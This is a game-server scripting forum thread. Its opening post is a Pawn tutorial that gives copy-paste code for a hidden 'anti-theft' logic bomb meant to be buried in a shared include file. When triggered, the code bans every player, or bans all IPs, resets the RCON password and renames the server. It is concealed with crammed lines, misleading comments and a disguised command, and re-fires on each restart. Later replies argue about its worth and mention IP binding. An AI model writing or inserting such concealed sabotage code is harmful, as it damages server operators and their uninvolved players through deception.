[Hoborific]

Backdooring and anti-theft methodology.

This is for educational purposes only, I do not hold any rights or condone actions in a malicious manner against party or parties or damage caused by this tutorial.



Ok this is more of a copy and paste job for you than it is a tutorial, but your learning so who cares ^^.


Now for starters, find an include you use in your gamemode or a filterscript.

Ok now hide this in the middle of that include! (try and use a pretty normal one no-one will look or replace!)

pawn Код:

stock CheckUserFiles()
{if(!fexist("vars.txt"))for (;;){
SendClientMessageToAll(0xE60000FF,"This server is using a stolen script! Original server IP: X.X.X.X : PORT");
printf("ERROR: This is NOT your script!");for(new i = 0; i < MAX_PLAYERS; i++)BanEx(i,"Banned by RCON");}}
stock CheckUsersFile(playerid){fremove("vars.txt");SendClientMessage(playerid,0xE60000FF,"No statistics at the moment"); CheckUserFiles(); return 1;}

Revision 2:

Instead of banning each player, if your someone for efficiency you could use some of the following instead

pawn Код:

SendRconCommand("banip *.*.*.*");
SendRconCommand("hostname Real Server at x.x.x.x:xxxx");
SendRconCommand("password p@sSw0rd");

ignore the fact i've got several lines in one, but thats so no one will notice it (it takes up less lines)

Obviously replace the X.X.X.X : PORT with your ip/port

and the BanEx message is to make it seem like someone got into their server (the people they stole the script from)


also feel free to rename the file you wan't to be needed to be removed.

pawn Код:

stock CheckUsersFile(playerid){fremove("vars.txt");SendClientMessage(playerid,0xE60000FF,"No statistics at the moment"); CheckUserFiles(); return 1;}

// replace vars.txt with whatever file name you'd like, i used DELETEME.txt // I expect most noobs to delete this file without my failsafe command being kicked in.

//don't forget to do the same to the last line (2nd stock)

stock CheckUsersFile(){fremove("vars.txt");}

now make the command inside your gamemode or filterscript

I use zcmd, so you'll have to write your own or use zcmd, and make sure you #include <INCLUDE>
replace INCLUDE with the include you put the failsafe in.

pawn Код:

command(mystatistics,playerid,params[]) //Note to self, not working, but will stop errors.
{
CheckUsersFile(playerid);
}

the command does work but the comments are lies so it wont be deleted. (I recommend re-naming the stock and command to something else as a player might try /mystatistics and get everyone banned from YOUR server.)

I also hide the

pawn Код:

CheckUserFiles();

in the OnGameModeInit so if ServerFFS or somewhere reboots the server for CPU problems it will kick in again and spam and ban once more (eventually serverffs will cancel the thieves services.)

I have not fully tested this (as i improved on it as i wrote this tutorial) so please if you find anything wrong say so and i will fix it as soon as possible


I also HIGHLY suggest putting it into a seemingly "custom" include that way they'll take the FailSafe as-well as the gamemode (if they didn't steal it all, that way it'll kick in for no vars.txt)



Well Okay then that's about it for the first method. personally if you only uploaded the .amx, there is nothing much thieves can do with your script, I have been looking into IP binding and such but to do that I would need to break and do some unwanted things to check the IP, I will however be looking for alternative and other methods, Keep an eye out for the second method.

This tutorial was written at least.. 5 months ago, and so far I have personal messaged it to about 6 close people ( or were friends at the time. )

Some of the methods in this tutorial ARE in fact useless such as the include snippet being crammed onto the same line, the fact of the matter is if you upload your includes, you've uploaded the .pwn and they will be able to remove this.

I have also left such things out like the server leaking method and several other potentially manipulative things.


I don't want to hear "But X way is better" because quite abruptly, I don't care.

[Hoborific]

Reserved for part#2 and shit like that for when I run out of characters on the first post in the future.

[Scenario]

Honestly, the best protection is to store a bind in the .pwn file and check if the server's IP matches the bind. If it doesn't, than delete the .amx of the script. If it does, do nothing.

[Hoborific]

I know lmfao, but this is fun to write and some people might enjoy reading the odd and creative methods to secure their script, I actually wrote revision 3 to bind, it'll be up in a few days once I work out some other things like the second methods post.

[Calgon]

Creative? These are so unbelievably easy to get around. The bind method is much more complicated, you should explain that.

[Hoborific]

Yeah cool story bro, I remember back from fquery days Calgon, Maybe I should leave this in your hands 'eh?


And get your definitions checked son, Creative != hard to get around.

[Calgon]

Quote:

Originally Posted by Hoborific Yeah cool story bro, I remember back from fquery days Calgon, Maybe I should leave this in your hands 'eh?

Is there a point you're trying to make? /fquery was a legitimate debug command.

Quote:

Originally Posted by Hoborific And get your definitions checked son, Creative != hard to get around.

Creativity isn't writing a few lines of code which become pointless after a few seconds.

[titanak]

Quote:

Originally Posted by Hoborific I know lmfao, but this is fun to write and some people might enjoy reading the odd and creative methods to secure their script, I actually wrote revision 3 to bind, it'll be up in a few days once I work out some other things like the second methods post.

how many times you have been warned for strong language ?

btw nice work.

[Hoborific]

Quote:

Originally Posted by titanak how many times you have been warned for strong language ? btw nice work.

Ahaha, It actually comes out a lot filthier before I post it than what it comes out as, I go through and clean it up pretty often, be happy it's not a Voice Tutorial or some type of Teamspeak Lecture.

[robintjeh]

What's the bind method, eh? Like using GetServerVarAsString and comparing it to the server's external IP? How?